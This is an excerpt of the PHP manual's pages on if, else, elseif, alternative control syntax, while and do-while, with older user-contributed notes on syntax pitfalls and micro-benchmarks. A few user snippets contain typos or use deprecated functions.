echo ($v) ?: 'No Value'; // 'No Value' will be printed because $v is evaluated to FALSE
?>

Parentheses can be left out in all examples above.
techguy14 at gmail dot com 06-Jan-2011 10:39
You can have 'nested' if statements withing a single if statement, using additional parenthesis.
For example, instead of having:

<?php
if( $a == 1 || $a == 2 ) {
    if( $b == 3 || $b == 4 ) {
        if( $c == 5 || $ d == 6 ) {
             //Do something here.
        }
    }
}
?>

You could just simply do this:

<?php
if( ($a==1 || $a==2) && ($b==3 || $b==4) && ($c==5 || $c==6) ) {
    //do that something here.
}
?>

Hope this helps!
admin at leonard !spam challis dot com 22-Nov-2010 01:41
When using if statements without the curly braces, remember than only one statement will be executed as part of that condition. If you want to place multiple statements you must use curly braces, and not just put them on the same line.

<?php

if (1==0) echo "Test 1."; echo "Test 2";

?>

Whereas some people would expect nothing to be displayed, this piece of code will show: "Test 2".
Rudi 14-Sep-2010 10:14
Note that safe type checking (using === and !== instead of == and !=) is in general somewhat faster. When you're using non-safe type checking and a conversion is really needed for checking, safe type checking is considerably faster.

===================================
Test (100,000,000 runs):
<?php
$start = microtime(true);
for($i = 0; $i < 100000000; $i++)
    if(5 == 10) {}
$end = microtime(true);
echo "1: ".($end - $start)."<br />\n";
unset($start, $end);

$start = microtime(true);
for($i = 0; $i < 100000000; $i++)
    if('foobar' == 10) {}
$end = microtime(true);
echo "2: ".($end - $start)."<br />\n";
unset($start, $end);

$start = microtime(true);
for($i = 0; $i < 100000000; $i++)
    if(5 === 10) {}
$end = microtime(true);
echo "3: ".($end - $start)."<br />\n";
unset($start, $end);

$start = microtime(true);
for($i = 0; $i < 100000000; $i++)
    if('foobar' === 10) {}
$end = microtime(true);
echo "4: ".($end - $start)."<br />\n";
unset($start, $end);
?>

===================================
Result (depending on hardware configuration):
1: 16.779544115067
2: 21.305675029755
3: 16.345532178879
4: 15.991420030594
austinderrick2 at gmail dot com 03-Oct-2009 01:50
As an added note to the guy below, in such a case, use the !== operator like this.

$nkey = array_search($needle, $haystack);

if ($nkey !== false) { ...

The !== and the === compare the "types". So, with this type of comparision, 0 is not the same as the FALSE returned by the array_search array when it can not find a match. :)

Quoted Text:

===================================
Be careful with stuff like

if ($nkey = array_search($needle, $haystack)) { ...

if the returned key is actually the key 0, then the if won't be executed
===================================
jm+phpweb at roth dot lu 28-Aug-2009 11:25
Be careful with stuff like

if ($nkey = array_search($needle, $haystack)) { ...

if the returned key is actually the key 0, then the if won't be executed
strata_ranger at hotmail dot com 05-Apr-2009 02:13
Although most programmers are aware of this already, if for whatever reason you need to 'break' out of an if() block (which, unlike switch() is not considered a looping structure) just wrap it in an appropriate looping structure, such as a do-while(false):

<?php
do if ($foo)
{
  // Do something first...

  // Shall we continue with this block, or exit now?
  if ($abort_if_block) break;

  // Continue doing something...

} while (false);
?>
Anonymous 02-Apr-2009 01:32
If you need to do something when a function return FALSE and nothing when it return TRUE you can do it like that :
<?php
function call()
{
return FALSE;
}

if(call()==TRUE) // or if(call())
{
// nothing to do
}
else
{
// do something here
}
?>

You can also write it like this :
<?php
if(!call()==TRUE) // or if(!call())
{
// do something here
}
// here '!' will invert 'FALSE' (from call()) into 'TRUE'
?>
/!\ WARNING /!\
The '!' only work with booleans !
Check http://fr.php.net/manual/en/language.types.boolean.php to know if you can use '!'

If you want to compare two strings and use '!' be careful how you use it !!!!
<?php
$string1 = "cake";
$string2 = "foo";

if(!$string1==$string2)
{
echo "cake is a lie";
}
//this will ALWAYS fail without exception because '!' is applied to $string1 and not to '$string1==$string2'

//to work, you have to do like this
if(!($string1==$string2))
{
echo "cake is a lie";
}
//it will display 'cake is a lie' because ($string1==$string2) return FALSE and '!' will invert it into TRUE
?>
For array/float, it's the same !
contact at bsorin dot romania 07-Mar-2009 05:28
This has got the better part of my last 2 hours, so I'm putting it here, maybe it will save someone some time.

I had a

if (function1() && function2())

statement. Before returning true or false, function1() and function2() had to output some text. The trick is that, if function1() returns false, function2() is not called at all. It seems I should have known that, but it slipped my mind.
Anonymous 28-Sep-2008 02:03
Re : henryk dot kwak at gmail dot com
<?php function message($m)
{
echo "$m <br />\r";
return true;
}
$k=false;
if (message("first")&& $k && message("second")){;}
// will show
//first
class
$k=true;
if (message("first")&& $k && message("second")){;}
// will show
//first
//second
?>
john 25-Sep-2008 05:24
@henryk (and everybody):

You should put your arguments in order by *least* likely to be true. That way if php is going to be able to quit checking, it will happen sooner rather than later, and your script will run (what amounts to unnoticeably) faster.

At least, that makes the most sense to me, but I don't claim omniscience.
chrislabricole at yahoo dot fr 10-Aug-2008 02:53
You can do IF with this pattern :
<?php
$var = TRUE;
echo $var==TRUE ? 'TRUE' : 'FALSE'; // get TRUE
echo $var==FALSE ? 'TRUE' : 'FALSE'; // get FALSE
?>
grawity at gmail dot com 10-Mar-2008 12:41
re: #80305

Again useful for newbies:

if you need to compare a variable with a value, instead of doing

<?php
if ($foo == 3) bar();
?>

do

<?php
if (3 == $foo) bar();
?>

this way, if you forget a =, it will become

<?php
if (3 = $foo) bar();
?>

and PHP will report an error.
redrobinuk at aol dot com 09-Jan-2008 11:54
This is aimed at PHP beginners but many of us do this  Ocasionally...

When writing an if statement that compares two values, remember not to use a single = statement.

eg:
<?php
if ($a = $b)
     {
         print("something");
     }
?>
This will assign $a the value $b and output the statement.

To see if $a is exactly equal to $b (value not type) It should be:
<?php
     if ($a == $b)
     {
         print("something");
     }
?>
Simple stuff but it can cause havok deep in classes/functions etc...


else

(PHP 4, PHP 5)

Often you'd want to execute a statement if a certain condition is met, and a different statement if the condition is not met. This is what else is for. else extends an if statement to execute a statement in case the expression in the if statement evaluates to FALSE. For example, the following code would display a is greater than b if $a is greater than $b, and a is NOT greater than b otherwise:

<?php
if ($a > $b) {
  echo "a is greater than b";
} else {
  echo "a is NOT greater than b";
}
?>
The else statement is only executed if the if expression evaluated to FALSE, and if there were any elseif expressions - only if they evaluated to FALSE as well (see elseif).

User Contributed Notes

php at keith tyler dot com 05-Jul-2011 07:52
This is valid syntax:

<?php
if ($a) print "a is true";
else print "a is false";
?>

A holdover from the bash-style compatibility in older PHP versions, perhaps.
smoldar at gmail dot com 28-Oct-2010 04:21
You can use the if to make a Yes/No field, verify if the statement is real or not and show the correct option checked.

<?php if($variable == 'S') {?>
<input name="blah" type="radio" value="Y" checked="checked"> Yes
<input name="blah" type="radio" value="N"> No
<?php } else {?>
<input name="blah" type="radio" value="Y"> Yes
<input name="blah" type="radio" value="N" checked="checked"> No
<?php }?>
Larry H-C 17-Aug-2009 07:08
When you escape out of HTML, you can get an UNEXPECTED T_ELSE error with the following:

Error:

<? if( $condition ) {
        dosomething;
   }
?>

<? else {
       dosomethingelse;
   }
?>

Correct:

<? if( $condition ) {
       dosomething;
?>

<? } else {
       dosomethingelse;
   }
?>

Apparently the compiler thinks a ?> <? breaks the connection between the } and the else
Theoden 25-Apr-2008 02:42
At Caliban Darklock

I don't know if it is just improvements in the parser, but there is a negligible difference in the performance of "elseif" vs "else if" as of version 5. One thousandth of a second in your example and 8 thousandths if the eval statement is repeated 5 times.
If the constructs are in regular code, then there appears to be no difference. This leads me to believe that the difference in the eval code is from there being an extra parser token.

Also the main performance burden of recursive functions is the stack operations of changing the context. In this case I believe that it would parse to very similar (if not identical) jmp controls.

In summary, use your preference. Readability and maintainability rank far higher on the priority scale.

One Additional note, there appears to be a limit of the number of "else if" statements (perhaps nested statements in general) that php will handle before starting to get screwy. This limit is about 1100. "elseif" is not affected by this.
dormeydo at gmail dot com 12-Apr-2008 01:51
An alternative and very useful syntax is the following one:

statement ? execute if true : execute if false

Ths is very usefull for dynamic outout inside strings, for example:

print('$a is ' . ($a > $b ? 'bigger than' : ($a == $b ? 'equal to' : 'smaler than' )) .  '  $b');

This will print "$a is smaler than $b" is $b is bigger than $a, "$a is bigger than $b" if $a si bigger and "$a is equal to $b" if they are same.
mitch at mitchellbeaumont dot com 24-Jul-2007 09:09
At gwmpro at yahoo dot com

The curly brace is not required however, for readability and maintenance, many developers would consider it bad style not to include them.
Caliban Darklock 08-Nov-2004 08:24
If you're coming from another language that does not have the "elseif" construct (e.g. C++), it's important to recognise that "else if" is a nested language construct and "elseif" is a linear language construct; they may be compared in performance to a recursive loop as opposed to an iterative loop.

<?php
$limit=1000;
for($idx=0;$idx<$limit;$idx++)
{ $list[]="if(false) echo \"$idx;\n\"; else"; }
$list[]=" echo \"$idx\n\";";
$space=implode(" ",$list);| // if ... else if ... else
$nospace=implode("",$list); // if ... elseif ... else
$start=array_sum(explode(" ",microtime()));
eval($space);
$end=array_sum(explode(" ",microtime()));
echo $end-$start . " seconds\n";
$start=array_sum(explode(" ",microtime()));
eval($nospace);
$end=array_sum(explode(" ",microtime()));
echo $end-$start . " seconds\n";
?>

This test should show that "elseif" executes in roughly two-thirds the time of "else if". (Increasing $limit will also eventually cause a parser stack overflow error, but the level where this happens is ridiculous in real world terms. Nobody normally nests if() blocks to more than a thousand levels unless they're trying to break things, which is a whole different problem.)

There is still a need for "else if", as you may have additional code to be executed unconditionally at some rung of the ladder; an "else if" construction allows this unconditional code to be elegantly inserted before or after the entire rest of the process. Consider the following elseif() ladder:

<?php
if($a) { conditional1(); }
elseif($b) { conditional2(); }
elseif($c) { conditional3(); }
elseif($d) { conditional4(); }
elseif($e) { conditional5(); }
elseif($f) { conditional6(); }
elseif($g) { conditional7(); }
elseif($h) { conditional8(); }
else { conditional9(); }
?>

To insert unconditional preprocessing code for $e onward, one need only split the "elseif":

<?php
if($a) { conditional1(); }
elseif($b) { conditional2(); }
elseif($c) { conditional3(); }
elseif($d) { conditional4(); }
else {
....unconditional();
....if($e) { conditional5(); }
....elseif($f) { conditional6(); }
....elseif($g) { conditional7(); }
....elseif($h) { conditional8(); }
....else { conditional9(); }
}
?>

The alternative is to duplicate the unconditional code throughout the construct.


elseif/else if

(PHP 4, PHP 5)

elseif, as its name suggests, is a combination of if and else. Like else, it extends an if statement to execute a different statement in case the original if expression evaluates to FALSE. However, unlike else, it will execute that alternative expression only if the elseif conditional expression evaluates to TRUE. For example, the following code would display a is bigger than b, a equal to b or a is smaller than b:

<?php
if ($a > $b) {
    echo "a is bigger than b";
} elseif ($a == $b) {
    echo "a is equal to b";
} else {
    echo "a is smaller than b";
}
?>

There may be several elseifs within the same if statement. The first elseif expression (if any) that evaluates to TRUE would be executed. In PHP, you can also write 'else if' (in two words) and the behavior would be identical to the one of 'elseif' (in a single word). The syntactic meaning is slightly different (if you're familiar with C, this is the same behavior) but the bottom line is that both would result in exactly the same behavior.

The elseif statement is only executed if the preceding if expression and any preceding elseif expressions evaluated to FALSE, and the current elseif expression evaluated to TRUE.

Note: Note that elseif and else if will only be considered exactly the same when using curly brackets as in the above example. When using a colon to define your if/elseif conditions, you must not separate else if into two words, or PHP will fail with a parse error.

<?php

/* Incorrect Method: */
if($a > $b):
    echo $a." is greater than ".$b;
else if($a == $b): // Will not compile.
    echo "The above line causes a parse error.";
endif;

/* Correct Method: */
if($a > $b):
    echo $a." is greater than ".$b;
elseif($a == $b): // Note the combination of the words.
    echo $a." equals ".$b;
else:
    echo $a." is neither greater than or equal to ".$b;
endif;

?>

User Contributed Notes

qualitycoder 03-Oct-2014 11:39
The reason 'else if' (with a space) works with traditional syntax and not colon syntax is because of a technicality.

<?php
  if($var == 'Whatever') {

  } else if($var == 'Something Else') {

  }
?>

In this instance, the 'else if' is a shorthand/inline else statement (no curly braces) with the if statement as a body. It is the same things as:

<?php
  if($var == 'Whatever') {

  } else {
      if($var == 'Something Else') {

      }
  }
?>

If you were to write this with colon syntax, it would be:

<?php
  if($var == 'Whatever'):

  else:
      if($var == 'Something Else'):

      endif;
  endif;
?>
peter dot mlich at volny dot cz 27-Mar-2014 07:10
To  Rudi / 3 years ago

Try switch in switch($name) case 'word': break; . --- slow
Try if/else and  if/elseif in $name='word'. --- in my fast test, place 3
Try isset in isset($array[$name]). ---  place 1
Try in_array in in_array($name,$array). --- slow
Try array_key_exists in array_key_exists($name,$array).

Try return (end function) in if/elseif with  -- place 2
if('word'==$name) {
  $parsed[$name]=$text;
  return;
  }
elseif('word'==$name) {
  $parsed[$name]=$text;
  return;
 }

PHP 5.35, xml_parse function, i parsed 9.2MB xml file to sql, script in place 1 do it at 11.54s (do more than only condition)
Anonymous 11-Jan-2014 09:51
In addition to what Rudi  wrote,
I ran his test script  on Debian 6 with php 5.3.26 where his findings are true, elseif is faster than else if.
Then I ran his script on Windows 7 with php 5.4.7, where results are the opposite, else if is faster than elseif.
Anonymous 22-Dec-2013 10:16
The word 'elseif' is a not a combination of "if and else," but a combination of "else and if."
Rudi 14-Sep-2010 10:15
Note that } elseif() { is somewhat faster than } else if() {

===================================
Test (100,000,000 runs):
<?php
$start = microtime(true);
for($i = 0; $i < 100000000; $i++) {
    if(2 === 0) {} else if(2 === 1) {} else {}
}
$end = microtime(true);
echo "1: ".($end - $start)."\n";
unset($start, $end);

$start = microtime(true);
for($i = 0; $i < 100000000; $i++) {
    if(2 === 0) {} elseif(2 === 1) {} else {}
}
$end = microtime(true);
echo "2: ".($end - $start);
?>

===================================
Result (depending on hardware configuration):
1: 20.026723146439
2: 20.20437502861
31-Jan-2007 11:54
There is no good way to interpret the dangling else.  One must pick a way and apply rules based on that.

Since there is no endif before an else, there is no easy way for PHP to know what you mean.
Vladimir Kornea 27-Dec-2006 06:59
The parser doesn't handle mixing alternative if syntaxes as reasonably as possible.

The following is illegal (as it should be):

<?
if($a):
    echo $a;
else {
    echo $c;
}
?>

This is also illegal (as it should be):

<?
if($a) {
    echo $a;
}
else:
    echo $c;
endif;
?>

But since the two alternative if syntaxes are not interchangeable, it's reasonable to expect that the parser wouldn't try matching else statements using one style to if statement using the alternative style. In other words, one would expect that this would work:

<?
if($a):
    echo $a;
    if($b) {
      echo $b;
    }
else:
    echo $c;
endif;
?>

Instead of concluding that the else statement was intended to match the if($b) statement (and erroring out), the parser could match the else statement to the if($a) statement, which shares its syntax.

While it's understandable that the PHP developers don't consider this a bug, or don't consider it a bug worth their time, jsimlo was right to point out that mixing alternative if syntaxes might lead to unexpected results.


Alternative syntax for control structures

(PHP 4, PHP 5)

PHP offers an alternative syntax for some of its control structures; namely, if, while, for, foreach, and switch. In each case, the basic form of the alternate syntax is to change the opening brace to a colon (:) and the closing brace to endif;, endwhile;, endfor;, endforeach;, or endswitch;, respectively.

<?php if ($a == 5): ?>
A is equal to 5
<?php endif; ?>

In the above example, the HTML block "A is equal to 5" is nested within an if statement written in the alternative syntax. The HTML block would be displayed only if $a is equal to 5.

The alternative syntax applies to else and elseif as well. The following is an if structure with elseif and else in the alternative format:

<?php
if ($a == 5):
    echo "a equals 5";
    echo "...";
elseif ($a == 6):
    echo "a equals 6";
    echo "!!!";
else:
    echo "a is neither 5 nor 6";
endif;
?>

Note:

Mixing syntaxes in the same control block is not supported.

Warning

Any output (including whitespace) between a switch statement and the first case will result in a syntax error. For example, this is invalid:

<?php switch ($foo): ?>
    <?php case 1: ?>
    ...
<?php endswitch ?>

Whereas this is valid, as the trailing newline after the switch statement is considered part of the closing ?> and hence nothing is output between the switch and case:

<?php switch ($foo): ?>
<?php case 1: ?>
    ...
<?php endswitch ?>

See also while, for, and if for further examples.

User Contributed Notes

v14t at gmx dot com 06-Apr-2014 11:14
isset( $value ) AND print( $value );

the reason why it doesn't work with echo, it's because echo does not return anything, while print _always_ returns 1, which is considered true in the expression
josh at qaribou dot com 06-Mar-2014 07:17
The reason temec987's approach of using boolean operators as an alternative to control structures won't work for an 'echo' is because the result of evaluating the expression will always be a boolean.

Other languages (e.g. ruby) are much better suited to this approach, as the expression evaluated will be the resultant value, e.g.:
5 && 4

In ruby, this would be 4, but in PHP, this would be true (type-juggled equivalent is 1), which isn't useful for anything but further binary logic.

You can still use logical operators as conditionals, but only for executing logic, not for getting a value back, e.g.:
<?php
defined('USER_CAN_EXECUTE') or die('Access denied.');
?>

is a nice one to use for access control, or say you want to put in a quick check that your object has all the data loaded it needs to call a webservice (functions are just examples):
<?php
$this->readyForService() and $this->postData('http://endpoint.com');
?>

What you can't use them for is something like this:
<?php
echo (strlen($mystring) > 5) and $mystring;
?>

instead, you'd use ternaries for that:
<?php
echo (strlen($mystring) > 5) ? $mystring : null;
?>
timeroot dot alex at gmail dot com 16-Dec-2013 09:54
The reason for the "workaround" jeremiah mentioned, in the case of the switch statement, can be understood as follows; in any place where you can have an echo statement (an if block, a switch's case, whatever), that's where you can have the raw HTML. In PHP this basically gets handled just like that -- like an echo statement.

In between a switch and a case, though, you can't echo anything. By placing the switch and the case in two separate blocks of PHP, with a raw HTML newline echo'ed in between them, PHP basically had to try to find where that statement would be. And it can't be there, hence the difficulty.
temec987 at gmail dot com 03-Oct-2011 04:00
A simple alternative to an if statement, which is almost like a ternary operator, is the use of AND. Consider the following:

<?php
     $value = 'Jesus';

     // This is a simple if statement
     if( isset( $value ) )
     {
          print $value;
     }

     print '<br />';

     // This is an alternative
     isset( $value ) AND print( $value );
?>

This does not work with echo() for some reason. I find this extremely useful!
ej at iconcept dot fo 28-May-2009 02:30
if statement in 1 line
<?php
$hour = 11;

print $foo = ($hour < 12) ? "Good morning!" : "Good afternoon!";

?>
return Good morning!
flyingmana 26-Mar-2009 10:43
It seems to me, that many people think that

<?php if ($a == 5): ?>
A ist gleich 5
<?php endif; ?>

is only with alternate syntax possible, but

<?php if ($a == 5){ ?>
A ist gleich 5
<?php }; ?>

is also possible.

alternate syntax makes the code only clearer and easyer to read
jeremia at gmx dot at 28-Jan-2008 03:52
If you wan't to use the alternative syntax for switch statements this won't work:

<div>
<?php switch($variable): ?>
<?php case 1: ?>
<div>
Newspage
</div>
<?php break;?>
<?php case 2: ?>
</div>
Forum
<div>
<?php break;?>
<?php endswitch;?>
</div>

Instead you have to workaround like this:

<div>
<?php switch($variable):
case 1: ?>
<div>
Newspage
</div>
<?php break;?>
<?php case 2: ?>
</div>
Forum
<div>
<?php break;?>
<?php endswitch;?>
</div>
skippy at zuavra dot net 27-Jun-2005 01:32
If it needs saying, this alternative syntax is excellent for improving legibility (for both PHP and HTML!) in situations where you have a mix of them.

Interface templates are very often in need of this, especially since the PHP code in them is usually written by one person (who is more of a programmer) and the HTML gets modified by another person (who is more of a web designer). Clear separation in such cases is extremely useful.

See the default templates that come with WordPress 1.5+ (www.wordpress.org) for practical and smart examples of this alternative syntax.


while

(PHP 4, PHP 5)

while loops are the simplest type of loop in PHP. They behave just like their C counterparts. The basic form of a while statement is:

while (expr)
    statement

The meaning of a while statement is simple. It tells PHP to execute the nested statement(s) repeatedly, as long as the while expression evaluates to TRUE. The value of the expression is checked each time at the beginning of the loop, so even if this value changes during the execution of the nested statement(s), execution will not stop until the end of the iteration (each time PHP runs the statements in the loop is one iteration). Sometimes, if the while expression evaluates to FALSE from the very beginning, the nested statement(s) won't even be run once.

Like with the if statement, you can group multiple statements within the same while loop by surrounding a group of statements with curly braces, or by using the alternate syntax:

while (expr):
    statement
    ...
endwhile;

The following examples are identical, and both print the numbers 1 through 10:

<?php
/* example 1 */

$i = 1;
while ($i <= 10) {
    echo $i++;  /* the printed value would be
                   $i before the increment
                   (post-increment) */
}

/* example 2 */

$i = 1;
while ($i <= 10):
    echo $i;
    $i++;
endwhile;
?>

User Contributed Notes

qeremy [atta] gmail [dotta] com 22-Aug-2012 05:45
Instead of this usage;

<?php
$arr = array("orange", "banana", "apple", "raspberry");

$i = 0;
while ($i < count($arr)) {
   $a = $arr[$i];
   echo $a ."\n";
   $i++;
}
// or
$i = 0;
$c = count($arr);
while ($i < $c) {
   $a = $arr[$i];
   echo $a ."\n";
   $i++;
}
?>

This could be more efficient;

<?php
while ($a = $arr[1 * $i++]) echo $a ."\n";
?>
ravenswd at gmail dot com 06-Mar-2010 04:34
I find it often clearer to set a simple flag ($finished) to false at the start of the loop, and have the program set it to true when it's finished doing whatever it's trying to do. Then the code is more self-documenting: WHILE NOT FINISHED keep going through the loop. FINISHED EQUALS TRUE when you're done. Here's an example. This is the code I use to generate a random filename and ensure that there is not already an existing file with the same name. I've added very verbose comments to it to make it clear how it works:

<?php
$finaldir = 'download';

$finished = false;                       // we're not finished yet (we just started)
while ( ! $finished ):                   // while not finished
  $rn = rand();                          // random number
  $outfile = $finaldir.'/'.$rn.'.gif';   // output file name
  if ( ! file_exists($outfile) ):        // if file DOES NOT exist...
    $finished = true;                    // ...we are finished
  endif;
endwhile;                                // (if not finished, re-start WHILE loop)
?>
scott at mstech dot com 06-Oct-2009 11:48
Just a note about using the continue statement to forego the remainder of a loop - be SURE you're not issuing the continue statement from within a SWITCH case - doing so will not continue the while loop, but rather the switch statement itself.

While that may seem obvious to some, it took a little bit of testing for me, so hopefully this helps someone else.
s dot seitz at netz-haut dot de 24-Jun-2008 05:21
Due to the fact that php only interprets the necessary elements to get a result, I found it convenient to concatenate different sql queries into one statement:

<?php

$q1 = 'some query on a set of tables';
$q2 = 'similar query on a another set of tables';

if ( ($r1=mysql_query($q1)) && ($r2=mysql_query($q2)) ) {

     while (($row=mysql_fetch_assoc($r1))||($row=mysql_fetch_assoc($r2))) {

         /* do something with $row coming from $r1 and $r2 */

      }
   }

?>

[EDIT BY danbrown AT php DOT net: Contains a bugfix supplied by "Ira" on 14-AUG-09 to address an extra '(' in the leading `if` statement.]
dominik at deobald dot org 23-Feb-2007 05:50
@stuart:

There's nothing strange or unexpected about your loop's behaviour.

> So in effect the main while loop is only doing one iteration... and not 4 as expected....

That's the wrong conclusion. The outer "while" does all four iterations. However the "inner" loop does nothing for the second, third and fourth run.

> I think it would be good to have an explaination of this strange behaviour.

Here it is:

<?PHP
$i=0;
while($i < count($one)) {

   while($a = each($two)) {
       echo $a[1]." - ".$one[$i].", ";
   }
   $i++;

}
?>

The "problem" is your use of "each", which reached the last item after the first iteration of the outer loop. After that, when you come back to the second iteration with the outer loop, "each" still is at the end of the array $two.

If you add a reset($two) in front of the inner "while", you'll get the result you expect.
startide at free dot fr 27-Apr-2006 05:08
Talking about while, dropdown menus, and ternary operator which was mentionned before, you can combine them to have drop menu built with a value selected according to your wishses.

<select name="whatever">
<?php
while ($data = mysql_fetch_assoc($requeteID))
{
  $menu .= '<option value="'.$data['id'].'"';
  $menu .= ($data['id'] == $_GET['id'] ? ' selected>' :'>');
  $menu .= $data['name'].'</option>';
}
echo $menu;
?>
</select>

Therefore if you are creating a form to select data from database, and want the form displayed when search is done to show what parameters have been chosen that will do the trick !!

Let's say I make a search between different sports, I choose football in my form, send my query... then displays are show, the menu will have football selected because of the ternary operator that displays "selected>" on the <option> ;) Enjoy ^^
sub7ime at yahoo dot com 04-Apr-2006 09:00
I was reading the excellent post by wbryson at gmail dot com and I wanted to just add that the ? : syntax is known as the 'ternary operator' for those who want to learn more about it.
chris mushy 11-May-2005 03:43
Just a note to stuart - the reason for this behaviour is because using the while(value = each(array)) construct increments the internal counter of the array as its looped through. Therefore if you intend to repeat the loop, you need to reset the counter. eg:

$one = array("10", "20", "30", "40");
$two = array("a", "b", "c", "d");

$i=0;
while($i < count($one)) {
   reset($two);
   while($a = each($two)) {
       echo $a[1]." - ".$one[$i].", ";
   }
   $i++;

}

This produces:

a - 10, b - 10, c - 10, d - 10, a - 20, b - 20, c - 20, d - 20, a - 30, b - 30, c - 30, d - 30, a - 40, b - 40, c - 40, d - 40,
stuart 11-May-2005 11:06
A note to anyone nesting a while loop inside a while loop....

Consider the example below:

$one = array("10", "20", "30", "40");
$two = array("a", "b", "c", "d");

$i=0;
while($i < count($one)) {

    while($a = each($two)) {
        echo $a[1]." - ".$one[$i].", ";
    }
    $i++;

}

This will return the following:
a - 10, b - 10, c - 10, d - 10

So in effect the main while loop is only doing one iteration... and not 4 as expected....

Now the example below works as expected..
$i=0;
while($i < count($one)) {

    foreach($two as $a) {
        echo $a." - ".$one[$i]."\n";
    }
    $i++;

}

by returning:
a - 10, b - 10, c - 10, d - 10, a - 20, b - 20, c - 20, d - 20, a - 30, b - 30, c - 30, d - 30, a - 40, b - 40, c - 40, d - 40

So there is clearly a difference on how while statements work in comparison to other looping structures.

I think it would be good to have an explaination of this strange behaviour.
13-Mar-2005 06:54
virtualjosh at yahoo dot com (Hosh) wrote on: 16-Aug-2003 12:52

The speedtest is interesting. But the seemingly fastest way contains a pitfall for beginners who just use it because it is fast and fast is cool ;)

Walking through an array with next() will cut of the first entry, as this is the way next() works ;)

If you really need to do it this way, make sure your array contains an empty entry at the beginning. Another way would be to use

<?php
while ($this = current($array) ){
    do_something($this);
    next($array);
}
?>

There is an impact on speed for sure but I did not test it. I would advise to stick with conventional methods because current(),next() in while loops is too error prone for me.
Ilene Jones 21-Feb-2005 10:12
For Perl programmers, break is similar to last

while (1) {
   while(cond) {
       if (error) {
           break 2; // in perl this could have been last;
       }
   }
}
corychristison[AT]NSPAMlavacube[dot]com 04-Dec-2004 12:08
While can do wonders if you need something to queue writing to a file while something else has access to it.

Here is my simple example:

<?php

  function write ($data, $file, $write_mode="w") {
    $lock = $file . ".lock";
     // run the write fix, to stop any clashes that may occur
    write_fix($lock);
     // create a new lock file after write_fix() for this writing session
    touch( $lock );
     // write to your file
    $open = fopen($file, $write_mode);
    fwrite($open, $data);
    fclose($open);
     // kill your current lock
    unlink($lock);
  }

  function write_fix ($lock_file) {
    while( file_exists($lock_file){
      // do something in here?
      // maybe sleep for a few microseconds
      // to maintain stability, if this is going to
      // take a while ?? [just a suggestion]
    }
  }

?>

This method is not recommended for use with programs that will be needing a good few seconds to write to a file, as the while function will eat up alot of process cycles.  However, this method does work, and is easy to implement.  It also groups the writing functions into one easy to use function, making life easier. :-)
virtualjosh at yahoo dot com (Hosh) 16-Aug-2003 12:52
I made a test traversing an array (simple, but long, numeric array with numeric keys). My test had a cycle per method, and multiplied each array element by 100.. These were my results:

******************************************************
30870 Element Array Traversing

[test_time] [BEGINS/RESETS @ time_start = 1060977996.689]
0.2373 seg later -> while (list ($key, $val) = each ($array)) ENDS

[test_time] [BEGINS/RESETS @ time_start = 1060977996.9414]
0.1916 seg later -> while (list ($key,) = each ($array))  ENDS

[test_time] [BEGINS/RESETS @ time_start = 1060977997.1513]
0.1714 seg later -> foreach ($array AS $key=>$value) ENDS

[test_time] [BEGINS/RESETS @ time_start = 1060977997.3378]
0.0255 seg later -> while ($next = next($array)) ENDS

[test_time] [BEGINS/RESETS @ time_start = 1060977997.3771]
0.1735 seg later -> foreach ($array AS $value) ENDS
**************************************************************

foreach is fatser than a while (list  - each), true.
However, a while(next) was faster than foreach.

These were the winning codes:

$array = $save;
test_time("",1);
foreach ($array AS $key=>$value)
    $array[$key] = $array[$key] * 100;
test_time("foreach (\$array AS \$key=>\$value)");

$array = $save;
test_time("",1);
reset($array);
while ($next = next($array))
{    $key = key($array);
    $array[$key] = $array[$key] * 100;
}
test_time("while (\$next = next(\$array))");
*********************************************************
The improvement seems huge, but it isnt that dramatic in real practice. Results varied... I have a very long bidimensional array, and saw no more than a 2 sec diference, but on 140+ second scripts.  Notice though that you lose control of the $key  value (unless you have numeric keys, which I tend to avoid), but it is not always necessary.

I generally stick to foreach. However, this time, I was getting Allowed Memory Size Exceeded errors with Apache. Remember foreach copies the original array, so this now makes two huge 2D arrays in memory and alot of work for Apache. If you are getting this error, check your loops. Dont use the whole array on a foreach. Instead get the keys and acces the cells directlly. Also, try and use unset and Referencing on the huge arrays.

Working on your array and loops is a much better workaround than saving to temporary tables and unsetting (much slower).
Merve 10-Jul-2003 06:49
This is an easy way for all you calculator creators to make it do factorials. The code is this:

<?php
$c = ($a-1);
$d = $a;
while ($c>=1)
{
$a = ($a*$c);
$c--;
}
print (" $d! = $a");
?>

$a changes, and so does c, so we have to make a new variable, $d, for the end statement.
chayes at antenna dot nl 26-Feb-2002 11:42
At the end of the while (list / each) loop the array pointer will be at the end.
This means the second while loop on that array will be skipped!

You can put the array pointer back with the reset($myArray) function.

example:

<?php
$myArray=array('aa','bb','cc','dd');
 while (list ($key, $val) = each ($myArray) ) echo $val;
reset($myArray);
 while (list ($key, $val) = each ($myArray) ) echo $val;
?>
yohgaki at hotmail dot com 01-Apr-2001 10:09
If you want to traverse array, foreach() is faster than while() a little.
[Benched with PHP4.0.4pl1/Apache DSO/Linux]

i.e.
foreach ($array as $k => $v)
is a little faster than
while (list($k,$v) = each($array))

You might want to use foreach for large arrays.


do-while

(PHP 4, PHP 5)

do-while loops are very similar to while loops, except the truth expression is checked at the end of each iteration instead of in the beginning. The main difference from regular while loops is that the first iteration of a do-while loop is guaranteed to run (the truth expression is only checked at the end of the iteration), whereas it may not necessarily run with a regular while loop (the truth expression is checked at the beginning of each iteration, if it evaluates to FALSE right from the beginning, the loop execution would end immediately).

There is just one syntax for do-while loops:

<?php
$i = 0;
do {
    echo $i;
} while ($i > 0);
?>

The above loop would run one time exactly, since after the first iteration, when truth expression is checked, it evaluates to FALSE ($i is not bigger than 0) and the loop execution ends.

Advanced C users may be familiar with a different usage of the do-while loop, to allow stopping execution in the middle of code blocks, by encapsulating them with do-while (0), and using the break statement. The following code fragment demonstrates this:

<?php
do {
    if ($i < 5) {
        echo "i is not big enough";
        break;
    }
    $i *= $factor;
    if ($i < $minimum_limit) {
        break;
    }
   echo "i is ok";

    /* process i */

} while (0);
?>

Don't worry if you don't understand this right away or at all. You can code scripts and even powerful scripts without using this 'feature'. Since PHP 5.3.0, it is possible to use goto operator instead of this hack.

User Contributed Notes

info at pkrules dot in 29-Oct-2013 08:03
Notice the way of using the loops:-
 <?php
$arr=array("orange","banana","apple","raspberry");

$i=0;
while($i < count($arr)){
  $a=$arr[$i];
  echo $a."<br />";
  $i++;
}
/*
orange
banana
apple
raspberry

*/
echo "<br /> &nbsp;";
$i=0;
$c=count($arr);
while($i < $c){
 $a=$arr[$i];
 echo $a."<br />";
 $i++;
}
/*
